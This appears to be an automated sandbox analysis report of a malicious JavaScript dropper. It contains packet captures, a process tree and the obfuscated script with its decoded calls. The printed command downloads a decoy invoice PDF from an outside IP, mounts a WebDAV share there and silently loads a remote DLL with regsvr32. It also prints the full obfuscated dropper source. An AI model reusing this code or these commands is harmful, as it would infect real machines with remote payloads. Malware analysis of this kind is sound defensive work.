Jan 10, 2025 14:32:20.829711914 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 14:32:20.829729080 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 14:32:20.829741955 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 14:32:20.829755068 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 14:32:20.829797029 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 14:32:20.829871893 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4260	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:32:22.474240065 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:32:23.304712057 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:32:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:32:15
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js"
Imagebase:	0x7ff77ffb0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll
Imagebase:	0x7ff782760000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:32:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:32:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff782760000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:32:21
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff759ed0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:32:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:32:22
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:32:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1620,i,6174676368958493987,11280257387493683627,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function scinhtyu() {	scinhtyu() ➔ undefined
1	spxbgct = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var weyviif = this[ltxvarg + wgksnfi + xrvrce + bxzyweede + espvlnl + wjvpnvyje + mhhqioeh + fmgzpnhqa] ( this[uitmf + libah + meskaicjr + xrvrce + ggala + ltxvarg + fmgzpnhqa][vxfqqq + xrvrce + espvlnl + wgksnfi + fmgzpnhqa + espvlnl + ppjdzt + octzaxk + eklmi + espvlnl + meskaicjr + fmgzpnhqa] ( uitmf + libah + meskaicjr + xrvrce + ggala + ltxvarg + fmgzpnhqa + fbgzqg + libah + drztho + espvlnl + vvhcm + vvhcm ) [usxcem + espvlnl + swcgbixk + usxcem + espvlnl + wgksnfi + oifmwnlgg] ( jrpcle + lwttbqq + dvoynquv + bsytld + fazcinutz + vxfqqq + ibvwtrrx + usxcem + usxcem + dvoynquv + kmwelko + icaqu + fazcinutz + ibvwtrrx + libah + dvoynquv + usxcem + uszzlyjp + vxfqqq + nchcvupbn + mhhqioeh + fmgzpnhqa + xrvrce + nchcvupbn + vvhcm + oqflstyhf + qhvij + wgksnfi + mhhqioeh + espvlnl + vvhcm + uszzlyjp + wjvpnvyje + mhhqioeh + fmgzpnhqa + espvlnl + xrvrce + mhhqioeh + wgksnfi + fmgzpnhqa + ggala + nchcvupbn + mhhqioeh + wgksnfi + vvhcm + uszzlyjp + iffiyb + nchcvupbn + meskaicjr + wgksnfi + vvhcm + espvlnl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mwxogfwi = 0 ; mwxogfwi < spxbgct[vvhcm + espvlnl + mhhqioeh + swcgbixk + fmgzpnhqa + drztho] ; ++ mwxogfwi )
4	{
5	if ( weyviif == spxbgct[mwxogfwi] )
6	{
7	weyviif = true;
8	break ;
9	}
10	}
11	if ( weyviif !== true )
12	this[uitmf + libah + meskaicjr + xrvrce + ggala + ltxvarg + fmgzpnhqa][ztqubc + wowcsosxo + ggala + fmgzpnhqa] ( );
13	this[uitmf + libah + meskaicjr + xrvrce + ggala + ltxvarg + fmgzpnhqa][vxfqqq + xrvrce + espvlnl + wgksnfi + fmgzpnhqa + espvlnl + ppjdzt + octzaxk + eklmi + espvlnl + meskaicjr + fmgzpnhqa] ( uitmf + libah + meskaicjr + xrvrce + ggala + ltxvarg + fmgzpnhqa + fbgzqg + libah + drztho + espvlnl + vvhcm + vvhcm ) [xrvrce + wowcsosxo + mhhqioeh] ( meskaicjr + vvuckiek + oifmwnlgg + oqflstyhf + mwjkrt + meskaicjr + oqflstyhf + ltxvarg + nchcvupbn + mewvogk + espvlnl + xrvrce + bxzyweede + drztho + espvlnl + vvhcm + vvhcm + fbgzqg + espvlnl + fjfafz + espvlnl + oqflstyhf + ontsgtx + vxfqqq + nchcvupbn + vvuckiek + vvuckiek + wgksnfi + mhhqioeh + oifmwnlgg + oqflstyhf + acwkyt + wjvpnvyje + mhhqioeh + qoqchns + nchcvupbn + hchzqdcil + espvlnl + ontsgtx + uitmf + espvlnl + octzaxk + usxcem + espvlnl + nexsyy + wowcsosxo + espvlnl + bxzyweede + fmgzpnhqa + oqflstyhf + ontsgtx + ppjdzt + wowcsosxo + fmgzpnhqa + pxqormh + ggala + vvhcm + espvlnl + oqflstyhf + ccfegzu + fmgzpnhqa + espvlnl + vvuckiek + ltxvarg + ccfegzu + uszzlyjp + ggala + mhhqioeh + qoqchns + nchcvupbn + ggala + meskaicjr + espvlnl + fbgzqg + ltxvarg + oifmwnlgg + yxpxyrhy + oqflstyhf + drztho + fmgzpnhqa + fmgzpnhqa + ltxvarg + xreja + mwjkrt + mwjkrt + wvziqj + dkgdvk + qhowevrcu + fbgzqg + wvziqj + qihazv + qhowevrcu + fbgzqg + wvziqj + fbgzqg + zvuqbr + zirqcidjj + kguxn + mwjkrt + ggala + mhhqioeh + qoqchns + nchcvupbn + ggala + meskaicjr + espvlnl + fbgzqg + ltxvarg + drztho + ltxvarg + acwkyt + zexxk + zexxk + bxzyweede + fmgzpnhqa + wgksnfi + xrvrce + fmgzpnhqa + oqflstyhf + ccfegzu + fmgzpnhqa + espvlnl + vvuckiek + ltxvarg + ccfegzu + uszzlyjp + ggala + mhhqioeh + qoqchns + nchcvupbn + ggala + meskaicjr + espvlnl + fbgzqg + ltxvarg + oifmwnlgg + yxpxyrhy + zexxk + zexxk + meskaicjr + vvuckiek + oifmwnlgg + oqflstyhf + mwjkrt + meskaicjr + oqflstyhf + mhhqioeh + espvlnl + fmgzpnhqa + oqflstyhf + wowcsosxo + bxzyweede + espvlnl + oqflstyhf + uszzlyjp + uszzlyjp + wvziqj + dkgdvk + qhowevrcu + fbgzqg + wvziqj + qihazv + qhowevrcu + fbgzqg + wvziqj + fbgzqg + zvuqbr + zirqcidjj + kguxn + iwyrb + xhktmwz + xhktmwz + xhktmwz + xhktmwz + uszzlyjp + oifmwnlgg + wgksnfi + qoqchns + mewvogk + mewvogk + mewvogk + xrvrce + nchcvupbn + nchcvupbn + fmgzpnhqa + uszzlyjp + zexxk + zexxk + meskaicjr + vvuckiek + oifmwnlgg + oqflstyhf + mwjkrt + meskaicjr + oqflstyhf + xrvrce + espvlnl + swcgbixk + bxzyweede + qoqchns + xrvrce + qhowevrcu + zvuqbr + oqflstyhf + mwjkrt + bxzyweede + oqflstyhf + uszzlyjp + uszzlyjp + wvziqj + dkgdvk + qhowevrcu + fbgzqg + wvziqj + qihazv + qhowevrcu + fbgzqg + wvziqj + fbgzqg + zvuqbr + zirqcidjj + kguxn + iwyrb + xhktmwz + xhktmwz + xhktmwz + xhktmwz + uszzlyjp + oifmwnlgg + wgksnfi + qoqchns + mewvogk + mewvogk + mewvogk + xrvrce + nchcvupbn + nchcvupbn + fmgzpnhqa + uszzlyjp + zvuqbr + magzqpm + kguxn + kguxn + kguxn + zvuqbr + xhktmwz + qihazv + wvziqj + zvuqbr + xhktmwz + kguxn + magzqpm + zvuqbr + fbgzqg + oifmwnlgg + vvhcm + vvhcm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll",0,false) ➔ 0
14	}
15	kguxn = "R";
16	kguxn = "q";
17	kguxn = "x";
18	kguxn = "u";
19	kguxn = "e";
20	kguxn = "C";
21	kguxn = "5";
22	vvuckiek = "A";
23	vvuckiek = "y";
24	vvuckiek = "h";
25	vvuckiek = "c";
26	vvuckiek = "X";
27	vvuckiek = "M";
28	vvuckiek = "c";
29	vvuckiek = "B";
30	vvuckiek = "a";
31	vvuckiek = "W";
32	vvuckiek = "S";
33	vvuckiek = "x";
34	vvuckiek = "G";
35	vvuckiek = "V";
36	vvuckiek = "s";
37	vvuckiek = "k";
38	vvuckiek = "P";
39	vvuckiek = "U";
40	vvuckiek = "Z";
41	vvuckiek = "T";
42	vvuckiek = "f";
43	vvuckiek = "E";
44	vvuckiek = "b";
45	vvuckiek = "m";
46	zvuqbr = "T";
47	zvuqbr = "j";
48	zvuqbr = "e";
49	zvuqbr = "Q";
50	zvuqbr = "q";
51	zvuqbr = "c";
52	zvuqbr = "M";
53	zvuqbr = "v";
54	zvuqbr = "d";
55	zvuqbr = "G";
56	zvuqbr = "R";
57	zvuqbr = "A";
58	zvuqbr = "E";
59	zvuqbr = "o";
60	zvuqbr = "K";
61	zvuqbr = "O";
62	zvuqbr = "X";
63	zvuqbr = "Z";
64	zvuqbr = "z";
65	zvuqbr = "l";
66	zvuqbr = "N";
67	zvuqbr = "y";
68	zvuqbr = "j";
69	zvuqbr = "b";
70	zvuqbr = "Q";
71	zvuqbr = "v";
72	zvuqbr = "V";
73	zvuqbr = "u";
74	zvuqbr = "J";
75	zvuqbr = "t";
76	zvuqbr = "p";
77	zvuqbr = "q";
78	zvuqbr = "r";
79	zvuqbr = "p";
80	zvuqbr = "r";
81	zvuqbr = "m";
82	zvuqbr = "Y";
83	zvuqbr = "2";
84	qoqchns = "c";
85	qoqchns = "t";
86	qoqchns = "Q";
87	qoqchns = "J";
88	qoqchns = "M";
89	qoqchns = "K";
90	qoqchns = "j";
91	qoqchns = "X";
92	qoqchns = "h";
93	qoqchns = "l";
94	qoqchns = "k";
95	qoqchns = "F";
96	qoqchns = "Y";
97	qoqchns = "z";
98	qoqchns = "i";
99	qoqchns = "v";
100	wgksnfi = "b";
101	wgksnfi = "G";
102	wgksnfi = "M";
103	wgksnfi = "r";
104	wgksnfi = "F";
105	wgksnfi = "X";
106	wgksnfi = "x";
107	wgksnfi = "R";
108	wgksnfi = "d";
109	wgksnfi = "O";
110	wgksnfi = "X";
111	wgksnfi = "g";
112	wgksnfi = "H";
113	wgksnfi = "V";
114	wgksnfi = "x";
115	wgksnfi = "O";
116	wgksnfi = "I";
117	wgksnfi = "V";
118	wgksnfi = "l";
119	wgksnfi = "l";
120	wgksnfi = "l";
121	wgksnfi = "I";
122	wgksnfi = "s";
123	wgksnfi = "w";
124	wgksnfi = "H";
125	wgksnfi = "E";
126	wgksnfi = "m";
127	wgksnfi = "A";
128	wgksnfi = "w";
129	wgksnfi = "d";
130	wgksnfi = "V";
131	wgksnfi = "a";
132	libah = "A";
133	libah = "w";
134	libah = "p";
135	libah = "x";
136	libah = "R";
137	libah = "o";
138	libah = "l";
139	libah = "p";
140	libah = "m";
141	libah = "B";
142	libah = "r";
143	libah = "R";
144	libah = "U";
145	libah = "U";
146	libah = "b";
147	libah = "w";
148	libah = "N";
149	libah = "O";
150	libah = "U";
151	libah = "T";
152	libah = "j";
153	libah = "h";
154	libah = "S";
155	wvziqj = "R";
156	wvziqj = "u";
157	wvziqj = "A";
158	wvziqj = "i";
159	wvziqj = "T";
160	wvziqj = "W";
161	wvziqj = "R";
162	wvziqj = "1";
163	nexsyy = "L";
164	nexsyy = "Q";
165	nexsyy = "C";
166	nexsyy = "o";
167	nexsyy = "H";
168	nexsyy = "S";
169	nexsyy = "z";
170	nexsyy = "q";
171	vxfqqq = "u";
172	vxfqqq = "C";
173	vxfqqq = "N";
174	vxfqqq = "M";
175	vxfqqq = "F";
176	vxfqqq = "p";
177	vxfqqq = "l";
178	vxfqqq = "n";
179	vxfqqq = "E";
180	vxfqqq = "r";
181	vxfqqq = "t";
182	vxfqqq = "E";
183	vxfqqq = "M";
184	vxfqqq = "R";
185	vxfqqq = "L";
186	vxfqqq = "v";
187	vxfqqq = "H";
188	vxfqqq = "G";
189	vxfqqq = "i";
190	vxfqqq = "E";
191	vxfqqq = "e";
192	vxfqqq = "C";
193	vxfqqq = "F";
194	vxfqqq = "F";
195	vxfqqq = "y";
196	vxfqqq = "L";
197	vxfqqq = "o";
198	vxfqqq = "T";
199	vxfqqq = "G";
200	vxfqqq = "N";
201	vxfqqq = "H";
202	vxfqqq = "c";
203	vxfqqq = "i";
204	vxfqqq = "r";
205	vxfqqq = "j";
206	vxfqqq = "U";
207	vxfqqq = "U";
208	vxfqqq = "f";
209	vxfqqq = "t";
210	vxfqqq = "p";
211	vxfqqq = "b";
212	vxfqqq = "C";
213	vvhcm = "m";
214	vvhcm = "G";
215	vvhcm = "M";
216	vvhcm = "C";
217	vvhcm = "R";
218	vvhcm = "F";
219	vvhcm = "W";
220	vvhcm = "Z";
221	vvhcm = "V";
222	vvhcm = "u";
223	vvhcm = "B";
224	vvhcm = "r";
225	vvhcm = "U";
226	vvhcm = "y";
227	vvhcm = "B";
228	vvhcm = "U";
229	vvhcm = "d";
230	vvhcm = "j";
231	vvhcm = "P";
232	vvhcm = "l";
233	espvlnl = "L";
234	espvlnl = "E";
235	espvlnl = "r";
236	espvlnl = "o";
237	espvlnl = "s";
238	espvlnl = "K";
239	espvlnl = "r";
240	espvlnl = "w";
241	espvlnl = "H";
242	espvlnl = "N";
243	espvlnl = "e";
244	icaqu = "X";
245	icaqu = "D";
246	icaqu = "J";
247	icaqu = "H";
248	icaqu = "x";
249	icaqu = "Q";
250	icaqu = "N";
251	icaqu = "i";
252	icaqu = "f";
253	icaqu = "m";
254	icaqu = "j";
255	icaqu = "B";
256	icaqu = "N";
257	icaqu = "R";
258	icaqu = "w";
259	icaqu = "w";
260	icaqu = "T";
261	zexxk = "b";
262	zexxk = "T";
263	zexxk = "s";
264	zexxk = "f";
265	zexxk = "V";
266	zexxk = "B";
267	zexxk = "L";
268	zexxk = "z";
269	zexxk = "d";
270	zexxk = "v";
271	zexxk = "R";
272	zexxk = "n";
273	zexxk = "y";
274	zexxk = "D";
275	zexxk = "G";
276	zexxk = "o";
277	zexxk = "Z";
278	zexxk = "y";
279	zexxk = "x";
280	zexxk = "a";
281	zexxk = "g";
282	zexxk = "F";
283	zexxk = "x";
284	zexxk = "N";
285	zexxk = "v";
286	zexxk = "s";
287	zexxk = "A";
288	zexxk = "S";
289	zexxk = "w";
290	zexxk = "y";
291	zexxk = "E";
292	zexxk = "E";
293	zexxk = "&";
294	magzqpm = "m";
295	magzqpm = "E";
296	magzqpm = "k";
297	magzqpm = "j";
298	magzqpm = "A";
299	magzqpm = "H";
300	magzqpm = "b";
301	magzqpm = "k";
302	magzqpm = "K";
303	magzqpm = "d";
304	magzqpm = "6";
305	kmwelko = "U";
306	kmwelko = "j";
307	kmwelko = "A";
308	kmwelko = "m";
309	kmwelko = "m";
310	kmwelko = "b";
311	kmwelko = "g";
312	kmwelko = "w";
313	kmwelko = "r";
314	kmwelko = "j";
315	kmwelko = "u";
316	kmwelko = "i";
317	kmwelko = "N";
318	xhktmwz = "8";
319	xreja = "q";
320	xreja = "l";
321	xreja = "j";
322	xreja = "P";
323	xreja = "U";
324	xreja = ":";
325	yxpxyrhy = "S";
326	yxpxyrhy = "F";
327	yxpxyrhy = "q";
328	yxpxyrhy = "A";
329	yxpxyrhy = "j";
330	yxpxyrhy = "B";
331	yxpxyrhy = "r";
332	yxpxyrhy = "z";
333	yxpxyrhy = "H";
334	yxpxyrhy = "h";
335	yxpxyrhy = "C";
336	yxpxyrhy = "L";
337	yxpxyrhy = "e";
338	yxpxyrhy = "B";
339	yxpxyrhy = "B";
340	yxpxyrhy = "L";
341	yxpxyrhy = "g";
342	yxpxyrhy = "c";
343	yxpxyrhy = "E";
344	yxpxyrhy = "i";
345	yxpxyrhy = "u";
346	yxpxyrhy = "d";
347	yxpxyrhy = "S";
348	yxpxyrhy = "J";
349	yxpxyrhy = "f";
350	mwjkrt = "T";
351	mwjkrt = "z";
352	mwjkrt = "C";
353	mwjkrt = "h";
354	mwjkrt = "X";
355	mwjkrt = "i";
356	mwjkrt = "S";
357	mwjkrt = "q";
358	mwjkrt = "r";
359	mwjkrt = "r";
360	mwjkrt = "y";
361	mwjkrt = "v";
362	mwjkrt = "O";
363	mwjkrt = "V";
364	mwjkrt = "a";
365	mwjkrt = "d";
366	mwjkrt = "A";
367	mwjkrt = "k";
368	mwjkrt = "o";
369	mwjkrt = "/";
370	ibvwtrrx = "C";
371	ibvwtrrx = "w";
372	ibvwtrrx = "I";
373	ibvwtrrx = "M";
374	ibvwtrrx = "W";
375	ibvwtrrx = "z";
376	ibvwtrrx = "j";
377	ibvwtrrx = "S";
378	ibvwtrrx = "b";
379	ibvwtrrx = "T";
380	ibvwtrrx = "Q";
381	ibvwtrrx = "s";
382	ibvwtrrx = "k";
383	ibvwtrrx = "o";
384	ibvwtrrx = "y";
385	ibvwtrrx = "s";
386	ibvwtrrx = "S";
387	ibvwtrrx = "Z";
388	ibvwtrrx = "c";
389	ibvwtrrx = "B";
390	ibvwtrrx = "J";
391	ibvwtrrx = "o";
392	ibvwtrrx = "Z";
393	ibvwtrrx = "F";
394	ibvwtrrx = "x";
395	ibvwtrrx = "X";
396	ibvwtrrx = "i";
397	ibvwtrrx = "U";
398	usxcem = "t";
399	usxcem = "I";
400	usxcem = "m";
401	usxcem = "E";
402	usxcem = "s";
403	usxcem = "e";
404	usxcem = "d";
405	usxcem = "j";
406	usxcem = "X";
407	usxcem = "Z";
408	usxcem = "M";
409	usxcem = "R";
410	ccfegzu = "M";
411	ccfegzu = "B";
412	ccfegzu = "f";
413	ccfegzu = "t";
414	ccfegzu = "p";
415	ccfegzu = "J";
416	ccfegzu = "C";
417	ccfegzu = "R";
418	ccfegzu = "D";
419	ccfegzu = "m";
420	ccfegzu = "t";
421	ccfegzu = "E";
422	ccfegzu = "h";
423	ccfegzu = "H";
424	ccfegzu = "C";
425	ccfegzu = "h";
426	ccfegzu = "r";
427	ccfegzu = "T";
428	ccfegzu = "E";
429	ccfegzu = "r";
430	ccfegzu = "p";
431	ccfegzu = "N";
432	ccfegzu = "z";
433	ccfegzu = "v";
434	ccfegzu = "R";
435	ccfegzu = "%";
436	ppjdzt = "W";
437	ppjdzt = "s";
438	ppjdzt = "J";
439	ppjdzt = "i";
440	ppjdzt = "P";
441	ppjdzt = "Z";
442	ppjdzt = "u";
443	ppjdzt = "d";
444	ppjdzt = "C";
445	ppjdzt = "S";
446	ppjdzt = "B";
447	ppjdzt = "L";
448	ppjdzt = "E";
449	ppjdzt = "Y";
450	ppjdzt = "V";
451	ppjdzt = "X";
452	ppjdzt = "J";
453	ppjdzt = "F";
454	ppjdzt = "Q";
455	ppjdzt = "Y";
456	ppjdzt = "b";
457	ppjdzt = "b";
458	ppjdzt = "V";
459	ppjdzt = "F";
460	ppjdzt = "B";
461	ppjdzt = "m";
462	ppjdzt = "j";
463	ppjdzt = "w";
464	ppjdzt = "O";
465	qihazv = "g";
466	qihazv = "f";
467	qihazv = "M";
468	qihazv = "S";
469	qihazv = "N";
470	qihazv = "K";
471	qihazv = "Q";
472	qihazv = "o";
473	qihazv = "q";
474	qihazv = "r";
475	qihazv = "C";
476	qihazv = "g";
477	qihazv = "v";
478	qihazv = "B";
479	qihazv = "m";
480	qihazv = "s";
481	qihazv = "K";
482	qihazv = "e";
483	qihazv = "q";
484	qihazv = "Q";
485	qihazv = "b";
486	qihazv = "n";
487	qihazv = "i";
488	qihazv = "y";
489	qihazv = "v";
490	qihazv = "L";
491	qihazv = "J";
492	qihazv = "I";
493	qihazv = "e";
494	qihazv = "4";
495	uszzlyjp = "\\";
496	meskaicjr = "E";
497	meskaicjr = "d";
498	meskaicjr = "M";
499	meskaicjr = "w";
500	meskaicjr = "h";
501	meskaicjr = "w";
502	meskaicjr = "d";
503	meskaicjr = "S";
504	meskaicjr = "v";
505	meskaicjr = "X";
506	meskaicjr = "w";
507	meskaicjr = "l";
508	meskaicjr = "i";
509	meskaicjr = "l";
510	meskaicjr = "x";
511	meskaicjr = "P";
512	meskaicjr = "l";
513	meskaicjr = "W";
514	meskaicjr = "x";
515	meskaicjr = "S";
516	meskaicjr = "i";
517	meskaicjr = "i";
518	meskaicjr = "d";
519	meskaicjr = "o";
520	meskaicjr = "S";
521	meskaicjr = "n";
522	meskaicjr = "J";
523	meskaicjr = "F";
524	meskaicjr = "S";
525	meskaicjr = "H";
526	meskaicjr = "v";
